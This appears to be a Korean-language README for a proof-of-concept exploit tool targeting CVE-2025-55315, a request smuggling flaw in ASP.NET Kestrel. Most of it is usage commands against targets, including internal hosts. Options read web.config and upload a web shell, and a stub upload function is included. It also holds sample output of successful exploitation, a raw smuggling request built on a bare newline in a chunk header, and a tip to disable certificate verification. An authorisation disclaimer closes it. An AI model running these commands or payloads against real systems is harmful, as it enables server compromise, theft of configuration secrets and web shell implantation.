# Python 3.7 이상
python3 --version

# 외부 종속성 없음 - 표준 라이브러리만 사용

# 저장소 복제 또는 다운로드
git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
cd CVE-2025-55315-PoC-Exploit

# 실행 가능하도록 설정
chmod +x cve_2025_55315_PoC.py

python3 cve_2025_55315_PoC.py -t target.com

python3 cve_2025_55315_PoC.py -t target.com -e /api/login

python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt

python3 cve_2025_55315_PoC.py \
  -t target.com \
  --read-config \
  --upload-shell \
  -v \
  -o full_report.txt

python3 cve_2025_55315_PoC.py -t api.mycompany.com

python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt

python3 cve_2025_55315_PoC.py \
  -t api.mycompany.com \
  -e /api/payment/process \
  -e /api/admin/users \
  -e /api/internal/config \
  -o critical_endpoints.txt

python3 cve_2025_55315_PoC.py \
  -t internal-api.local \
  -p 8080 \
  --no-ssl

usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
                                  [--no-ssl] [--read-config] [--upload-shell]
                                  [-o OUTPUT] [-v] [--timeout TIMEOUT]

필수 인자:
  -t, --target         대상 호스트명 또는 URL (예: target.com)

선택 인자:
  -p, --port           포트 번호 (기본값: SSL 443, 비 SSL 80)
  -e, --endpoint       테스트할 특정 엔드포인트 (여러 번 사용 가능)
  --no-ssl             SSL/HTTPS 비활성화 (HTTP 사용)
  --read-config        web.config 파일 읽기 시도
  --upload-shell       웹쉘 업로드 시도 (확인 필요)
  -o, --output         보고서를 파일로 저장
  -v, --verbose        상세 출력 활성화
  --timeout            소켓 타임아웃(초) (기본값: 10)
  -h, --help           도움말 메시지 표시

Target: old-api.company.com:443
Vulnerable: YES - CRITICAL

--- Server Information ---
  server: Kestrel/8.0.15
  kestrel_detected: True
  http_version: 1.1

--- VULNERABLE ENDPOINTS (2) ---
  ✗ /api/login
    Details: Request smuggling successful - multiple responses
  ✗ /api/health
    Details: Request smuggling successful - multiple responses

--- SUCCESSFUL EXPLOITS ---
  ✓ web.config_read via /api/login

Target: new-api.company.com:443
Vulnerable: NO - SECURE

--- Server Information ---
  server: Kestrel/9.0.10
  kestrel_detected: True
  http_version: 1.1

[SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)

✓ No vulnerable endpoints found - target may be patched

POST /endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

2;\n          ← 취약점: \r\n 대신 단독 \n 사용
XX
0\r\n
\r\n
GET /smuggled HTTP/1.1    ← 이것이 별도의 요청이 됨
Host: target.com

[ERROR] Connection failed: [Errno 111] Connection refused

[ERROR] Connection failed: certificate verify failed

export PYTHONHTTPSVERIFY=0
python3 cve_2025_55315_PoC.py -t target.com

[WARNING] No response - possible timeout

[WARNING] Upload blocked (forbidden/method not allowed)

COMMON_ENDPOINTS = [
    '/your/custom/endpoint',
    '/api/myapp/admin',
    # 여기에 엔드포인트 추가
]

def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
                   shell_content: str = None):
    if not shell_content:
        shell_content = '''
        <!-- 여기에 사용자 정의 ASPX 웹쉘 작성 -->
        '''

본 도구는 "있는 그대로" 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

저자:
❌ 불법 활동을 지지하지 않음
❌ 오용에 대해 책임지지 않음
❌ 어떠한 손해에 대해서도 책임지지 않음
❌ 법적 조언을 제공하지 않음

본 도구를 사용함으로써 귀하는 다음에 동의합니다:
✅ 승인된 시스템에서만 사용
✅ 모든 법적 책임 수락
✅ 모든 관련 법률 준수
✅ 윤리적 해킹 원칙 준수

무단 사용은 엄격히 금지되며 불법입니다!

╔══════════════════════════════════════════════════════════════════════╗
║                                                                      ║
║  이 도구를 책임감 있고 합법적으로 사용하십시오!                         ║
║                                                                      ║
║  무단 컴퓨터 시스템 접근은 범죄입니다.                                 ║
║  테스트 전 항상 서면 승인을 받으십시오.                                ║
║  책임 있는 공개 관행을 따르십시오.                                    ║
║                                                                      ║
║  행복한 (합법적인) 해킹 되세요!                                      ║
║                                                                      ║
╚══════════════════════════════════════════════════════════════════════╝